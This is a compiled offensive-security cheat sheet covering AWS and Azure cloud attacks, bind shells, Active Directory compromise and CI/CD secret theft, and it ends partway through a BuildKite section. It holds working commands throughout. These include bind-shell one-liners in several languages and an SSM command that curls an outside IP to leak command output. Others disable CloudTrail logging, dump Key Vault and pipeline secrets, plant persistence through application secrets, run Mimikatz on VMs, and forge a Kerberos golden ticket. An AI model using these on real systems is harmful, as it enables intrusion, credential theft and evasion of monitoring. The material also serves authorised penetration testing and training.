aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west

GuardDuty#

OS User Agent#

:warning: When using awscli on Kali Linux, Pentoo and Parrot Linux, a log is generated based on the user-agent.

Pacu bypass this problem by defining a custom User-Agent: pacu.py#L1473

AWS - Metadata SSRF

Sat, 25 Jul 2026 18:47:21 +0200

AWS released additional security defences against the attack.

:warning: Only working with IMDSv1.

Enabling IMDSv2

aws ec2 modify-instance-metadata-options --instance-id <INSTANCE-ID> --profile <AWS_PROFILE> --http-endpoint enabled --http-token required

In order to use IMDSv2 you must provide a token.

export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"`
curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"

Method for Elastic Cloud Compute (EC2)#

Amazon provides an internal service that allows every EC2 instance to query and retrieve metadata about the host. If you discover an SSRF vulnerability running on an EC2 instance, try to fetch the content from 169.254.169.254.

AWS - Service - Cognito

Sat, 25 Jul 2026 18:47:21 +0200

AWS Cognito is an AWS-managed service for authentication, authorization, and user management.

A user signs in through Cognito User Pools (authentication) or via a federated IdP (Google, Facebook, SAML, etc.).
Cognito Identity Pools can then exchange this identity for temporary AWS credentials (from STS — Security Token Service).
These credentials (Access Key ID, Secret Access Key, and Session Token) let the app directly call AWS services (e.g., S3, DynamoDB, API Gateway) with limited IAM roles/policies.

Tools#

Cognito Scanner - A CLI tool for executing attacks on cognito such as Unwanted account creation, Account Oracle and Identity Pool escalation.

AWS - Service - DynamoDB

Sat, 25 Jul 2026 18:47:21 +0200

Amazon DynamoDB is a key-value and document database that delivers single-digit millisecond performance at any scale. It’s a fully managed, multi-region, multi-active, durable database with built-in security, backup and restore, and in-memory caching for internet-scale applications. DynamoDB can handle more than 10 trillion requests per day and can support peaks of more than 20 million requests per second.

List Tables#

$ aws --endpoint-url http://s3.bucket.htb dynamodb list-tables 

{
 "TableNames": [
 "users"
 ]
}

Enumerate Table Content#

$ aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'

{
 "password": {
 "S": "Management@#1@#"
 },
 "username": {
 "S": "Mgmt"
 }
}

References#

Amazon DynamoDB Documentation - AWS

AWS - Service - EC2

Sat, 25 Jul 2026 18:47:21 +0200

dufflebag - Find secrets that are accidentally exposed via Amazon EBS’s “public” mode

Listing Information About EC2#

aws ec2 describe-instances
aws ec2 describe-instances --region region
aws ec2 describe-instances --instance-ids ID

Copy EC2 using AMI Image#

First you need to extract data about the current instances and their AMI/security groups/subnet : aws ec2 describe-images --region eu-west-1

# create a new image for the instance-id
$ aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1 

# add key to AWS
$ aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1 

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
$ aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance 
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

Mount EBS volume to EC2 Linux#

:warning: EBS snapshots are block-level incremental, which means that every snapshot only copies the blocks (or areas) in the volume that had been changed since the last snapshot. To restore your data, you need to create a new EBS volume from one of your EBS snapshots. The new volume will be a duplicate of the initial EBS volume on which the snapshot was taken.

AWS - Service - Lambda & API Gateway

Sat, 25 Jul 2026 18:47:21 +0200

List Lambda Functions#

aws lambda list-functions

Invoke a Lambda Function#

aws lambda invoke --function-name name response.json --region region

Extract Function’s Code#

aws lambda list-functions --profile uploadcreds
aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY" --query 'Code.Location' --profile uploadcreds
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds

List API Gateway#

aws apigateway get-rest-apis
aws apigateway get-rest-api --rest-api-id ID

Listing Information About Endpoints#

aws apigateway get-resources --rest-api-id ID
aws apigateway get-resource --rest-api-id ID --resource-id ID
aws apigateway get-method --rest-api-id ApiID --resource-id ID --http-method method

Listing API Keys#

aws apigateway get-api-keys --include-values

Getting Information About A Specific Api Key#

aws apigateway get-api-key --api-key KEY

References#

Getting shell and data access in AWS by chaining vulnerabilities - Appsecco - Riyaz Walikar - Aug 29, 2019

AWS - Service - S3 Buckets

Sat, 25 Jul 2026 18:47:21 +0200

An AWS S3 bucket is a cloud-based storage container that holds files, known as objects, which can be accessed over the internet. It is highly scalable and can store large amounts of data, such as documents, images, and backups. S3 provides robust security through access control, encryption, and permissions management. It ensures high durability and availability, making it ideal for storing and retrieving data from anywhere.

Tools#

aws/aws-cli - Universal Command Line Interface for Amazon Web Services

sudo apt install awscli

digi.ninja/bucket-finder - Search for public buckets, list and download all files if directory indexing is enabled

wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2
./bucket_finder.rb my_words
./bucket_finder.rb --region ie my_words
./bucket_finder.rb --download --region ie my_words
./bucket_finder.rb --log-file bucket.out my_words

aws-sdk/boto3 - Amazon Web Services (AWS) SDK for Python

import boto3
s3 = boto3.client('s3',aws_access_key_id='AKIAJQDP3RKREDACTED',aws_secret_access_key='igH8yFmmpMbnkcUaCqXJIRIozKVaREDACTED',region_name='us-west-1')

try:
 result = s3.list_buckets()
 print(result)
except Exception as e:
 print(e)

nccgroup/s3_objects_check - Whitebox evaluation of effective S3 object permissions, to identify publicly accessible files

AWS - Service - SSM

Sat, 25 Jul 2026 18:47:21 +0200

Command execution#

:warning: The ssm-user account is not removed from the system when SSM Agent is uninstalled.

SSM Agent is preinstalled, by default, on the following Amazon Machine Images (AMIs):

Windows Server 2008-2012 R2 AMIs published in November 2016 or later
Windows Server 2016 and 2019
Amazon Linux
Amazon Linux 2
Ubuntu Server 16.04
Ubuntu Server 18.04
Amazon ECS-Optimized

$ aws ssm describe-instance-information --profile stolencreds --region eu-west-1 
$ aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds
$ aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds

e.g:
$ aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1

References#

What is AWS Systems Manager? - AWS

AWS - Training

Sat, 25 Jul 2026 18:47:21 +0200

bishopfox/CloudFoxable: A Gamified Cloud Hacking Sandbox
ine-labs/AWSGoat : A Damn Vulnerable AWS Infrastructure
m6a-UdS/dvca - A demonstration project to show how to do privilege escalation on AWS
nccgroup/sadcloud - A tool for standing up (and tearing down!) purposefully insecure cloud infrastructure
0xdabbad00/Flaws - Several level of challenges around AWS
RhinoSecurityLabs/cloudgoat - “Vulnerable by Design” AWS deployment tool

Azure - Requirements

Sat, 25 Jul 2026 18:47:21 +0200

Pentest Requirements#

Users and roles:

Global Reader and Security Reader roles in Azure AD
Reader permission over the subscription

Subscriptions:

Azure Dev/Test subscription.
Visual Studio subscription determines the monthly Azure credits you receive
- Visual Studio Enterprise: $150/month
- MSDN Platforms: $100
- Visual Studio Professional: $50
- Visual Studio Test Professional: $50

Powershell and Native Modules#

Microsoft Graph: Install-Module Microsoft.Graph -Scope CurrentUser
Azure AD: Install-Module AzureAD
Azure AD Preview: Install-Module AzureADPreview
Azure CLI: winget install -e --id Microsoft.AzureCLI

Terminology#

Tenant: An instance of Azure AD and represents a single organization.
Azure AD Directory: Each tenant has a dedicated Directory. This is used to perform identity and access management functions for resources.
Subscriptions: It is used to pay for services. There can be multiple subscriptions in a Directory.
Core Domain: The initial domain name <tenant>.onmicrosoft.com is the core domain. It is possible to define custom domain names too.

References#

Azure AD - Access and Tokens

Sat, 25 Jul 2026 18:47:21 +0200

Connection#

When you authenticate to the Microsoft Graph API in PowerShell/CLI, you will be using an application from a Microsoft’s tenant.

Name	Application ID
Microsoft Azure PowerShell	1950a258-227b-4e31-a9cf-717495945fc2
Microsoft Azure CLI	04b07795-8ddb-461a-bbee-02f9e1bf7b46
Portail Azure	c44b4083-3bb0-49c1-b47d-974e53cbdf3c

After a successfull authentication, you will get an access token.

az cli#

Azure AD - AD Connect and Cloud Sync

Sat, 25 Jul 2026 18:47:21 +0200

Active Directory	Azure AD
LDAP	REST API’S
NTLM/Kerberos	OAuth/SAML/OpenID
Structured directory (OU tree)	Flat structure
GPO	No GPO’s
Super fine-tuned access controls	Predefined roles
Domain/forest	Tenant
Trusts	Guests

Check if Azure AD Connect is installed : Get-ADSyncConnector

For PHS, we can extract the credentials
- Passwords from on-premise AD are sent to the cloud
- Use replication via a service account created by AD Connect
For PTA, we can attack the agent
- Possible to perform DLL injection into the PTA agent and intercept authentication requests: credentials in clear-text
For Federation, connect Windows Server AD to Azure AD using Federation Server (ADFS)
- Dir-Sync : Handled by on-premise Windows Server AD, sync username/password
- extract the certificate from ADFS server using DA

Password Hash Synchronization#

Get token for SYNC_* account and reset on-prem admin password

Azure AD - Conditional Access Policy

Sat, 25 Jul 2026 18:47:21 +0200

Conditional Access is used to restrict access to resources to compliant devices only.

rbnroot/CAPSlock - Offline Conditional Access (CA) analysis tool built on top of a roadrecon database.
absolomb/FindMeAccess - Tool for finding gaps in Azure/M365 MFA requirements for different resources, client ids, and user agents.

Enumerate Conditional Access Policies#

Enumerate Conditional Access Policies: roadrecon plugin policies (query the local database)

CAP	Bypass
Location / IP ranges	Corporate VPN, Guest Wifi
Platform requirement	User-Agent switcher (Android, PS4, Linux, …)
Protocol requirement	Use another protocol (e.g for e-mail acccess: POP, IMAP, SMTP)
Azure AD Joined Device	Try to join a VM (Work Access)
Compliant Device (Intune)	Fake device compliance
Device requirement	/
MFA	/
Legacy Protocols	/
Domain Joined	/

python3 CAPSlock.py analyze -u <userprincipalname> --resource <resource-id> [options]
python3 CAPSlock.py what-if -u <userprincipalname> --resource <resource-id> [options]
python3 CAPSlock.py web-gui --port 8080

Bypassing CAP by faking device compliance#

Intune Company Portal Client ID Bypass#

Use Intune Company Portal Client ID (9ba1a5c7-f17a-4de9-a1f1-6178c8d51223), to run roadrecon even when there is a device compliance policy. it is a hardcoded and undocumented exclusion in Conditional Access for device compliance and has the user_impersonation rights on the AAD Graph.

Azure AD - Enumerate

Sat, 25 Jul 2026 18:47:21 +0200

Azure AD - Collectors#

Microsoft Portals - Microsoft Administrator Sites

dirkjanm/ROADTool - A collection of Azure AD tools for offensive and defensive security purposes

roadrecon auth --access-token eyJ0eXA...
roadrecon auth --prt-cookie <primary-refresh-token> -r msgraph -c "1950a258-227b-4e31-a9cf-717495945fc2"
roadrecon gather
roadrecon gui

BloodHoundAD/AzureHound - Azure Data Exporter for BloodHound

./azurehound --refresh-token <refresh-token> list --tenant "<target-tenant-id>" -o output.json
./azurehound -u "<username>@contoso.onmicrosoft.com" -p "<password>" list groups --tenant "<tenant>.onmicrosoft.com"
./azurehound -j "<jwt>" list users --tenant "<tenant>.onmicrosoft.com"

BloodHoundAD/BARK - BloodHound Attack Research Kit

. .\BARK.ps1
$MyRefreshTokenRequest = Get-AZRefreshTokenWithUsernamePassword -username "user@contoso.onmicrosoft.com" -password "MyVeryCoolPassword" -TenantID "contoso.onmicrosoft.com"
$MyMSGraphToken = Get-MSGraphTokenWithRefreshToken -RefreshToken $MyRefreshTokenRequest.refresh_token -TenantID "contoso.onmicrosoft.com"
$MyAADUsers = Get-AllAzureADUsers -Token $MyMSGraphToken.access_token -ShowProgress

dafthack/GraphRunner - A Post-exploitation Toolset for Interacting with the Microsoft Graph API

Invoke-GraphRecon -Tokens $tokens -PermissionEnum
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
Invoke-DumpApps -Tokens $tokens
Get-DynamicGroups -Tokens $tokens

NetSPI/MicroBurst - MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping

Azure AD - IAM

Sat, 25 Jul 2026 18:47:21 +0200

Root Management Group (Tenant) > Management Group > Subscription > Resource Group > Resource

Users (User, Groups, Dynamic Groups)
Devices
Service Principals (Application and Managed Identities)

Users#

List users: Get-AzureADUser -All $true

Enumerate groups

# List groups
Get-AzureADGroup -All $true

# Get members of a group
Get-AzADGroup -DisplayName '<GROUP-NAME>'
Get-AzADGroupMember -GroupDisplayName '<GROUP-NAME>' | select UserPrincipalName

Enumerate roles: Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
List roles: Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName

Azure AD - Persistence

Sat, 25 Jul 2026 18:47:21 +0200

Add Secrets to Application#

Add secrets with lutzenfried/OffensiveCloud/Add-AzADAppSecret.ps1

PS > . C:\Tools\Add-AzADAppSecret.ps1
PS > Add-AzADAppSecret -GraphToken $graphtoken -Verbose

Use secrets to authenticate as Service Principal

PS > $password = ConvertTo-SecureString '<SECRET/PASSWORD>' -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential('<AppID>', $password)
PS > Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant '<TenantID>'

Add Service Principal#

Generate a new service principal password/secret

Import-Module Microsoft.Graph.Applications
Connect-MgGraph 
$servicePrincipalId = "<service-principal-id>"

$params = @{
 passwordCredential = @{
 displayName = "NewCreds"
 }
}
Add-MgServicePrincipalPassword -ServicePrincipalId $servicePrincipalId -BodyParameter $params

Add User to Group#

Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose

PowerShell Profile Backdoor Using KFM#

OneDrive for Business Known Folder Move (KFM) is a feature in Microsoft OneDrive for Business that enables users and organizations to automatically redirect the contents of key Windows user folders; Desktop, Documents, and Pictures from their local PC to OneDrive.

Azure AD - Phishing

Sat, 25 Jul 2026 18:47:21 +0200

The attacker creates an Azure-registered application that requests access to data such as contact information, email, or documents. The attacker then tricks an end user into granting consent to the application so that the attacker can gain access to the data that the target user has access to.

:warning: All Office 365 users will be protected from app-based attacks now that publisher verification is generally available as they “will no longer be able to consent to new multi-tenant apps registered after November 8th, 2020 coming from unverified publishers”.

Azure Services - Application Endpoint

Sat, 25 Jul 2026 18:47:21 +0200

Enumerate#

Enumerate possible endpoints for applications starting/ending with PREFIX

PS C:\Tools> Get-AzureADServicePrincipal -All $true -Filter "startswith(displayName,'PREFIX')" | % {$_.ReplyUrls}
PS C:\Tools> Get-AzureADApplication -All $true -Filter "endswith(displayName,'PREFIX')" | Select-Object ReplyUrls,WwwHomePage,HomePage

Access#

https://myapps.microsoft.com/signin/<App ID>?tenantId=<TenantID>

References#

Training - Attacking and Defending Azure Lab - Altered Security

Azure Services - Application Proxy

Sat, 25 Jul 2026 18:47:21 +0200

Enumerate#

Enumerate applications that have Proxy

PS C:\Tools> Get-AzureADApplication -All $true | %{try{GetAzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
PS C:\Tools> Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Finance Management System"}

PS C:\Tools> . C:\Tools\GetApplicationProxyAssignedUsersAndGroups.ps1
PS C:\Tools> Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <OBJECT-ID>

References#

Training - Attacking and Defending Azure Lab - Altered Security

Azure Services - Azure DevOps

Sat, 25 Jul 2026 18:47:21 +0200

xforcered/ADOKit - Azure DevOps Services Attack Toolkit
zolderio/devops - Azure DevOps Access Testing Scripts

synacktiv/nord-stream - Nord Stream is a tool that allows you to extract secrets stored inside CI/CD environments by deploying malicious pipelines. It currently supports Azure DevOps, GitHub and GitLab.

# List all secrets from all projects
$ nord-stream.py devops --token "$PAT" --org myorg --list-secrets

# Dump all secrets from all projects
$ nord-stream.py devops --token "$PAT" --org myorg

Authentication#

You can access an organization’s Azure DevOps Services instance via <https://dev.azure.com/{yourorganization}>.

Azure Services - Container Registry

Sat, 25 Jul 2026 18:47:21 +0200

Enumerate#

List container registries in the subscription using Azure CLI

az login -u user@domain.onmicrosoft.com -p pass
az acr list -o table

acr=<ACRName> # from the previous command
server=$(az acr login -n $acr --expose-token --query loginServer -o tsv) 
token=$(az acr login -n $acr --expose-token --query accessToken -o tsv) 
docker login $server -u 00000000-0000-0000-0000-000000000000 -p $token

List the images in the ACR

az acr repository list -n $acr

List version tags for an image

az acr repository show-tags -n $acr --repository mywebapp

Connect to the container registry from a PowerShell console, set the $server and $token variables, and pull the image from the registry

# docker login ${registryURI} --username ${username} --password ${password}
$token="<AccessToken>"
$server="<LoginServer>"
docker login $server -u 00000000-0000-0000-0000-000000000000 -p $token
docker pull $server/mywebapp:v1

List docker containers inside a registry

Azure Services - Deployment Template

Sat, 25 Jul 2026 18:47:21 +0200

List the deployments

PS Az> Get-AzResourceGroup
PS Az> Get-AzResourceGroupDeployment -ResourceGroupName SAP

Export the deployment template

PS Az> Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <RESOURCE GROUP> -DeploymentName <DEPLOYMENT NAME>

# search for hardcoded password
cat <DEPLOYMENT NAME>.json 
cat <PATH TO .json FILE> | Select-String password

References#

Training - Attacking and Defending Azure Lab - Altered Security

Azure Services - DNS Suffix

Sat, 25 Jul 2026 18:47:21 +0200

DNS Tables#

Many Azure services dynamically generate custom endpoints utilizing a trusted cloud suffix (such as .cloudapp.azure.com or .windows.net). Maintaining a structured inventory of these suffixes is critical for security auditing, zero-trust network design, and defensive threat research.

These services can also be leveraged for domain fronting, subdomain takeover, or communication with an external C2 server when they are whitelisted by proxy or firewall rules.

Azure Services - KeyVault

Sat, 25 Jul 2026 18:47:21 +0200

Access Token#

Keyvault access token

curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER

Connect with the access token

PS> $token = 'eyJ0..'
PS> $keyvaulttoken = 'eyJ0..'
PS> $accid = '2e...bc'
PS Az> Connect-AzAccount -AccessToken $token -AccountId $accid -KeyVaultAccessToken $keyvaulttoken

Query Secrets#

Query the vault and the secrets

PS Az> Get-AzKeyVault
PS Az> Get-AzKeyVaultSecret -VaultName <VaultName>
PS Az> Get-AzKeyVaultSecret -VaultName <VaultName> -Name Reader -AsPlainText

Extract secrets from Automations, AppServices and KeyVaults

Import-Module Microburst.psm1
PS Microburst> Get-AzurePasswords
PS Microburst> Get-AzurePasswords -Verbose | Out-GridView

References#

Azure Services - Microsoft Intune

Sat, 25 Jul 2026 18:47:21 +0200

Microsoft Intune is a cloud-based service that provides mobile device management (MDM) and mobile application management (MAM). It allows organizations to control and secure access to corporate data on mobile devices, including smartphones, tablets, and PCs. With Intune, businesses can enforce security policies, manage apps, and ensure that devices comply with organizational requirements, whether they are company-owned or personal (BYOD).

Intunes Administration#

Requirements:

Global Administrator or Intune Administrator Privilege

Azure Services - Office 365

Sat, 25 Jul 2026 18:47:21 +0200

Microsoft Teams Messages#

TokenTacticsV2> RefreshTo-MSTeamsToken -domain domain.local
AADInternals> Get-AADIntTeamsMessages -AccessToken $MSTeamsToken.access_token | Format-Table id,content,deletiontime,*type*,DisplayName

Outlook Mails#

Read user mails

Get-MgUserMessage -UserId <user-id> | ft
Get-MgUserMessageContent -OutFile mail.txt -UserId <user-id> -MessageId <message-id>

OneDrive Files#

$userId = "<user-id>"
Import-Module Microsoft.Graph.Files
Get-MgUserDefaultDrive -UserId $userId
Get-MgUserDrive -UserId $UserId -Debug
Get-MgDrive -top 1

References#

Azure Services - Runbook and Automation

Sat, 25 Jul 2026 18:47:21 +0200

Runbook#

Runbook must be SAVED and PUBLISHED before running it.

List the Runbooks#

Get-AzAutomationAccount | Get-AzAutomationRunbook

Create a Runbook#

Check user right for automation

az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
az ad signed-in-user list-owned-objects

Add the user to the “Automation” group: Add-AzureADGroupMember -ObjectId <OBJID> -RefObjectId <REFOBJID> -Verbose
Get the role of a user on the Automation account: Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>. NOTE: Contributor or higher privileges accounts can create and execute Runbooks

Azure Services - Storage Blob

Sat, 25 Jul 2026 18:47:21 +0200

Blobs - *.blob.core.windows.net
File Services - *.file.core.windows.net
Data Tables - *.table.core.windows.net
Queues - *.queue.core.windows.net

Enumerate blobs#

PS > . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureBlobs.ps1
PS > Invoke-EnumerateAzureBlobs -Base <SHORT DOMAIN> -OutputFile azureblobs.txt
Found Storage Account - redacted.blob.core.windows.net

List and download blobs#

Visiting https://<storage-name>.blob.core.windows.net/<storage-container>?restype=container&comp=list provides a JSON file containing a complete list of the Azure Blobs.

<EnumerationResults ContainerName="https://<storage-name>.blob.core.windows.net/<storage-container>">
 <Blobs>
 <Blob>
 <Name>index.html</Name>
 <Url>https://<storage-name>.blob.core.windows.net/<storage-container>/index.html</Url>
 <Properties>
 <Last-Modified>Fri, 20 Oct 2023 20:08:20 GMT</Last-Modified>
 <Etag>0x8DBD1A84E6455C0</Etag>
 <Content-Length>782359</Content-Length>
 <Content-Type>text/html</Content-Type>
 <Content-Encoding/>
 <Content-Language/>
 <Content-MD5>JSe+sM+pXGAEFInxDgv4CA==</Content-MD5>
 <Cache-Control/>
 <BlobType>BlockBlob</BlobType>
 <LeaseStatus>unlocked</LeaseStatus>
 </Properties>
 </Blob>

Browse deleted files.

Azure Services - Virtual Machine

Sat, 25 Jul 2026 18:47:21 +0200

RunCommand#

Allow anyone with “Contributor” rights to run PowerShell scripts on any Azure VM in a subscription as NT Authority\System

Requirements: Microsoft.Compute/virtualMachines/runCommand/action

List available Virtual Machines

PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
ResourceGroupName Name 
----------------- ---- 
TESTRESOURCES Remote-Test

Get Public IP of VM by querying the network interface

PS AzureAD> Get-AzVM -Name <RESOURCE> -ResourceGroupName <RG-NAME> | select -ExpandProperty NetworkProfile
PS AzureAD> Get-AzNetworkInterface -Name <RESOURCE368>
PS AzureAD> Get-AzPublicIpAddress -Name <RESOURCEIP>

Execute Powershell script on the VM, like adduser

PS AzureAD> Invoke-AzVMRunCommand -VMName <RESOURCE> -ResourceGroupName <RG-NAME> -CommandId 'RunPowerShellScript' -ScriptPath 'C:\Tools\adduser.ps1' -Verbose
PS Azure C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1

Finally you should be able to connect via WinRM

Azure Services - Web Apps

Sat, 25 Jul 2026 18:47:21 +0200

List Web App#

az webapp list

Execute Commands#

$ARMToken = Get-ARMTokenWithRefreshToken `
 -RefreshToken "0.ARwA6WgJJ9X2qk..." `
 -TenantID "contoso.onmicrosoft.com"

Invoke-AzureRMWebAppShellCommand `
 -KuduURI "https://<webapp>.scm.azurewebsites.net/api/command" `
 -Token $ARMToken `
 -Command "whoami"

SSH Connection#

First check if the SSH over HTTP connection is enabled: (curl https://${appName}?app.scm.azurewebsites.net/webssh/host).statuscode

az webapp create-remote-connection --subscription <SUBSCRIPTION-ID> --resource-group <RG-NAME> -n <APP-SERVICE-NAME>

Kudu#

In Azure App Service, Kudu is the advanced management and deployment tool used for various operations such as continuous integration, troubleshooting, and diagnostic tasks for your web applications. It provides a set of utilities and features for managing your app’s environment, including access to application settings, log streams, and deployment management.

Bind Shell

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

Bind Shell
- Perl
- Python
- PHP
- Ruby
- Netcat Traditional
- Netcat OpenBsd
- Ncat
- Socat
- Powershell

Perl#

perl -e 'use Socket;$p=51337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));\
bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);\
close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'

Python#

Single line :

python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",51337));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'

Expanded version :

import socket as s,subprocess as sp;

s1 = s.socket(s.AF_INET, s.SOCK_STREAM);
s1.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1);
s1.bind(("0.0.0.0", 51337));
s1.listen(1);
c, a = s1.accept();

while True: 
 d = c.recv(1024).decode();
 p = sp.Popen(d, shell=True, stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE);
 c.sendall(p.stdout.read()+p.stderr.read())

PHP#

php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",51337);\
socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;\
$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);\
 socket_write($cl,$m,strlen($m));}}'

Ruby#

ruby -rsocket -e 'f=TCPServer.new(51337);s=f.accept;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",s,s,s)'

Netcat Traditional#

nc -nlvp 51337 -e /bin/bash

Netcat OpenBsd#

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 51337 >/tmp/f

Ncat#

ncat -nlvp 51337 -e /bin/bash

Socat#

user@attacker$ socat FILE:`tty`,raw,echo=0 TCP:target.com:12345 
user@victim$ socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane

Powershell#

https://github.com/besimorhino/powercat

# Victim (listen)
. .\powercat.ps1
powercat -l -p 7002 -ep

# Connect from attacker
. .\powercat.ps1
powercat -c 127.0.0.1 -p 7002

Bug Hunting Methodology

Sat, 25 Jul 2026 18:47:21 +0200

Passive Recon#

Using shodan.io, fofa.info, zoomeye.ai or odin.io to detect similar app

# https://github.com/glennzw/shodan-hq-nse
nmap --script shodan-hq.nse --script-args 'apikey=<yourShodanAPIKey>,target=<hackme>'

Search for similar websites using the same favicon: pielco11/fav-up or slightly different icon: profundis.io/favicon-matcher

python3 favUp.py --favicon-file favicon.ico -sc
python3 favUp.py --favicon-url https://domain.behind.cloudflare/assets/favicon.ico -sc
python3 favUp.py --web domain.behind.cloudflare -s

Search inside Shortener URLs: shorteners.grayhatwarfare.com, utkusen/urlhunter
```
urlhunter --keywords keywords.txt --date 2020-11-20
```
Search inside Buckets: buckets.grayhatwarfare.com

Using The Wayback Machine to detect forgotten endpoints

# Look for JS files, old links
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=<targetDomain.com>&output=text&fl=original&collapse=urlkey&matchType=prefix"

Using laramies/theHarvester

python theHarvester.py -b all -d domain.com

Look for private information in GitHub repositories with michenriksen/GitRob

gitrob analyze johndoe --site=https://github.acme.com --endpoint=https://github.acme.com/api/v3 --access-tokens=token1,token2

Perform Google Dorks search: ikuamike/GoogleDorking.md

Child Domain to Forest Compromise - SID Hijacking

Sat, 25 Jul 2026 18:47:21 +0200

Most trees are linked with dual sided trust relationships to allow for sharing of resources. By default the first domain created if the Forest Root.

Requirements:

KRBTGT Hash

Find the SID of the domain

$ Convert-NameToSid target.domain.com\krbtgt
S-1-5-21-2941561648-383941485-1389968811-502

# with Impacket
lookupsid.py domain/user:password@10.10.10.10

Replace 502 with 519 to represent Enterprise Admins

Exploitation:

Create golden ticket and attack parent domain.

kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt

References#

Training - Attacking and Defending Active Directory Lab - Altered Security

CI/CD - Azure DevOps

Sat, 25 Jul 2026 18:47:21 +0200

Azure Pipelines#

The configuration files for azure pipelines are normally located in the root directory of the repository and called - azure-pipelines.yml
You can tell if the pipeline builds pull requests based on its trigger instructions. Look for pr: instruction:

trigger:
 branches:
 include:
 - master
 - refs/tags/*
pr:
- master

Secret Extractions#

Extract secrets for these service connection:

AzureRM
GitHub
AWS
SonarQube
SSH

nord-stream.py devops ... --build-yaml test.yml --build-type ssh

References#

Azure DevOps CICD Pipelines - Command Injection with Parameters, Variables and a discussion on Runner hijacking - Sana Oshika - May 1 2023

CI/CD - BuildKite

Sat, 25 Jul 2026 18:47:21 +0200

The configuration files for BuildKite builds are located in .buildkite/*.yml
BuildKite build are often self-hosted, this means that you may gain excessive privileges to the kubernetes cluster that runs the runners, or to the hosting cloud environment.

In order to run an OS command in a workflow that builds pull requests - simply add a command instruction to the step.

steps:
